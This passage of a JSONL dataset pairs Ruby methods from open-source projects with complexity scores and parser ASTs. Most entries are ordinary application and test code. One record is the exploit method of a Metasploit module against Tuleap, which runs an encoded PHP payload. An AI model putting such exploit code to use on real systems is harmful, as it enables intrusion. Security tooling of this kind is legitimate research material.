ype\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"No latest release found for the specified GitHub repository\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GitHub responded with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]}]}]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"json\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"json\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"assets\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"str\",\"children\":[\"browser_download_url\"]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"zip_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"tmpdir\"]},{\"type\":\"str\",\"children\":[\"plugin.zip\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sh\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"curl -Lso \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip_path\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plugins_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HOME\"]}]}]},{\"type\":\"str\",\"children\":[\"/Library/Application Support/Developer/Shared/Xcode/Plug-ins\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"plugins_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Action\"]},\"sh\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"unzip -qo '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip_path\"]}]},{\"type\":\"str\",\"children\":[\"' -d '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugins_path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Plugin \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\".zip\"]}]}]},{\"type\":\"str\",\"children\":[\" installed successfully\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Please restart Xcode to use the newly installed plugin\"]}]}]}]}","id":"c4e054d3-fd77-4bc8-8189-0f4c21a629a9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/forms/projects/life_cycle/form.rb","start_line":135,"raw_source":"def field_type\n      # Do not show the native datepicker on iOS safari because it\n      # behaves totally different than all other browsers and destroys the behavior of the datepicker\n      # Given a date field with no value: When Safari opens its native datepicker, the first thing it does is to\n      # set the date to Today. And not only in the datepicker but directly in the field.\n      # This behaviour has however consequences:\n      # * The \"reset\" button in the datepicker does not clear the input (as the other browsers do it) but it resets\n      #   it to the original value it had when you opened it. So if the value was empty, it sets it back to empty.\n      #   If the value was set before, you cannot clear it, but only set it back to that value.\n      # * Since the input changes, the whole datepicker updates without the user even knowing about it,\n      #   since the form is hidden behind the datepicker. That leads to this:\n      #     when you enter a start date after today, and then open the datepicker for finish date,\n      #     it will reset the start date because the finish date is set automatically to today,\n      #     but the finish date can't be before the start date.\n      browser.device.mobile? && !browser.safari? ? :date : :text\n    end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"field_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"browser\"]},\"device\"]},\"mobile?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"browser\"]},\"safari?\"]},\"!\"]}]},{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"sym\",\"children\":[\"text\"]}]}]}","id":"d4253b6d-458b-41c8-afd4-72e4fcc95a40"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core.rb","start_line":84,"raw_source":"def self.public_storage_service_name\n    if @@public_storage_service_name\n      if @@public_storage_service_name.is_a?(String) || @@public_storage_service_name.is_a?(Symbol)\n        @@public_storage_service_name.to_sym\n      end\n    else\n      Rails.application.config.active_storage.service\n    end\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"public_storage_service_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@public_storage_service_name\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@public_storage_service_name\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@public_storage_service_name\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Symbol\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@public_storage_service_name\"]},\"to_sym\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"config\"]},\"active_storage\"]},\"service\"]}]}]}","id":"0a76a075-ec6d-4d30-af4d-b18752e8f06e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/ui/implementations/shell.rb","start_line":63,"raw_source":"def deprecated(message)\n      log.error(message.to_s.deprecated)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"deprecated\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"to_s\"]},\"deprecated\"]}]}]}","id":"2b14b603-ea9b-4c00-bd0f-0c73e5798bf5"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/models/post_timing_spec.rb","start_line":18,"raw_source":"def timing(user_id, post_number)\n      PostTiming.create!(topic_id: topic_id, user_id: user_id, post_number: post_number, msecs: 0)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"timing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"post_number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostTiming\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[null,\"topic_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_number\"]},{\"type\":\"lvar\",\"children\":[\"post_number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msecs\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"0ab949e5-46cc-4ea6-9c88-21d8e50b8d05"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/url_for_test.rb","start_line":97,"raw_source":"def test_default_host\n        add_host!\n        assert_equal(\"http://www.basecamphq.com/c/a/i\",\n          W.new.url_for(controller: \"c\", action: \"a\", id: \"i\")\n        )\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_default_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_host!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://www.basecamphq.com/c/a/i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"W\"]},\"new\"]},\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"c\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"i\"]}]}]}]}]}]}]}","id":"125f41bf-0cd3-413f-9cb3-29eb99efdd26"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/csv_importer.rb","start_line":147,"raw_source":"def import_topics_existing_users\n    # Import topics for users that already existed in the DB, not imported during this migration\n    puts \"\", \"Importing topics for existing users\"\n\n    topics = []\n    @imported_topics_existing_users.each do |t|\n      t[\"id\"] = IMPORT_TOPIC_ID_EXISITNG_PREFIX + t[\"id\"]\n      topics << t\n    end\n\n    create_posts(topics) do |t|\n      {\n        id: t[\"id\"],\n        user_id: t[\"user_id\"], # This is a Discourse user ID\n        title: t[\"title\"],\n        category: t[\"category_id\"], # This is a Discourse category ID\n        raw: t[\"raw\"],\n      }\n    end\n  end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"import_topics_existing_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing topics for existing users\"]}]},{\"type\":\"lvasgn\",\"children\":[\"topics\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@imported_topics_existing_users\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IMPORT_TOPIC_ID_EXISITNG_PREFIX\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_posts\",{\"type\":\"lvar\",\"children\":[\"topics\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"str\",\"children\":[\"category_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"str\",\"children\":[\"raw\"]}]}]}]}]}]}]}","id":"c51432eb-bdea-4753-be5d-29181d4e9460"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/meetings/show.rb","start_line":175,"raw_source":"def remove_agenda_item(item)\n      accept_confirm(I18n.t(\"text_are_you_sure\")) do\n        action = item.work_package ? wp_agenda_item_delete_label(item) : I18n.t(:button_delete)\n        select_action(item, action)\n      end\n\n      title = item.work_package ? item.work_package.subject : item.title\n      expect_no_agenda_item(title:)\n    end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_agenda_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"accept_confirm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"text_are_you_sure\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"action\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"work_package\"]},{\"type\":\"send\",\"children\":[null,\"wp_agenda_item_delete_label\",{\"type\":\"lvar\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"button_delete\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"select_action\",{\"type\":\"lvar\",\"children\":[\"item\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"work_package\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"work_package\"]},\"subject\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"expect_no_agenda_item\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]}]}]}]}]}","id":"293e533d-afa0-4d73-904c-fe5a36063815"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/resources_test.rb","start_line":943,"raw_source":"def test_resource_has_only_destroy_action_and_named_route\n    with_routing do |set|\n      set.draw do\n        resources :products, only: :destroy\n      end\n\n      assert_resource_allowed_routes(\"products\", {},                    { id: \"1\" }, :destroy, [:index, :new, :create, :show, :edit, :update])\n      assert_resource_allowed_routes(\"products\", { format: \"xml\" },  { id: \"1\" }, :destroy, [:index, :new, :create, :show, :edit, :update])\n\n      assert_not_nil set.named_routes[:product]\n    end\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_resource_has_only_destroy_action_and_named_route\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_routing\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"set\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"products\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_resource_allowed_routes\",{\"type\":\"str\",\"children\":[\"products\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]},{\"type\":\"sym\",\"children\":[\"destroy\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"sym\",\"children\":[\"edit\"]},{\"type\":\"sym\",\"children\":[\"update\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_resource_allowed_routes\",{\"type\":\"str\",\"children\":[\"products\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"xml\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]},{\"type\":\"sym\",\"children\":[\"destroy\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"sym\",\"children\":[\"edit\"]},{\"type\":\"sym\",\"children\":[\"update\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"named_routes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"product\"]}]}]}]}]}]}","id":"26352bd1-67d3-4d49-9cca-1bba3fb45918"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/web_ide/vscode.rb","start_line":326,"raw_source":"def wait_for_code_suggestion\n            within_vscode_editor do\n              within_file_editor do\n                wait_until(reload: false, max_duration: 30, message: 'Waiting for Code Suggestion to start loading') do\n                  code_suggestion_loading?\n                end\n\n                wait_until_code_suggestion_loaded\n              end\n            end\n          end","complexity_score":9.88,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_code_suggestion\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_vscode_editor\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_file_editor\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reload\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_duration\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Waiting for Code Suggestion to start loading\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"code_suggestion_loading?\"]}]},{\"type\":\"send\",\"children\":[null,\"wait_until_code_suggestion_loaded\"]}]}]}]}]}","id":"4d11464d-d2e9-43fb-956d-17a961c58ea9"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/helpers/api/v2/accounts/reports_helper.rb","start_line":51,"raw_source":"def build_params(base_params)\n    base_params.merge(\n      {\n        since: params[:since],\n        until: params[:until],\n        business_hours: ActiveModel::Type::Boolean.new.cast(params[:business_hours])\n      }\n    )\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"since\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"since\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"until\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"until\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"business_hours\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Type\"]},\"Boolean\"]},\"new\"]},\"cast\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"business_hours\"]}]}]}]}]}]}]}","id":"d31af24f-7857-4c9d-a691-f0afd9d22a3f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concerns/reenqueuer.rb","start_line":92,"raw_source":"def sleep_if_time_left(minimum_duration, start_time)\n      time_left = calculate_time_left(minimum_duration, start_time)\n\n      sleep(time_left) if time_left > 0\n    end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"sleep_if_time_left\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"minimum_duration\"]},{\"type\":\"arg\",\"children\":[\"start_time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time_left\",{\"type\":\"send\",\"children\":[null,\"calculate_time_left\",{\"type\":\"lvar\",\"children\":[\"minimum_duration\"]},{\"type\":\"lvar\",\"children\":[\"start_time\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_left\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"lvar\",\"children\":[\"time_left\"]}]},null]}]}]}","id":"fad4be70-9017-4cfd-80a2-93e60aaf6e52"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/multiple_db_test.rb","start_line":36,"raw_source":"def test_find\n    c1 = Course.find(1)\n    assert_equal \"Ruby Development\", c1.name\n    c2 = Course.find(2)\n    assert_equal \"Java Development\", c2.name\n    e1 = Entrant.find(1)\n    assert_equal \"Ruby Developer\", e1.name\n    e2 = Entrant.find(2)\n    assert_equal \"Ruby Guru\", e2.name\n    e3 = Entrant.find(3)\n    assert_equal \"Java Lover\", e3.name\n  end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Course\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Ruby Development\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c1\"]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"c2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Course\"]},\"find\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Java Development\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c2\"]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entrant\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Ruby Developer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e1\"]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entrant\"]},\"find\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Ruby Guru\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e2\"]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e3\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entrant\"]},\"find\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Java Lover\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e3\"]},\"name\"]}]}]}]}","id":"dce25456-ca81-4438-b5d9-dd627c7c891f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/emoji.rb","start_line":173,"raw_source":"def self.aliases_db_file\n    @aliases_db_file ||= DiscourseEmojis.paths[:aliases]\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"aliases_db_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@aliases_db_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseEmojis\"]},\"paths\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"aliases\"]}]}]}]}","id":"4a60c54b-6533-4abf-8fbb-413f0096cfaf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/tuleap_rest_unserialize_exec.rb","start_line":188,"raw_source":"def exploit\n    @is_check = false\n    exec_php(payload.encoded)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@is_check\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"exec_php\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]}","id":"5e23801e-f5e0-4418-8274-5d0880d6b4a5"}
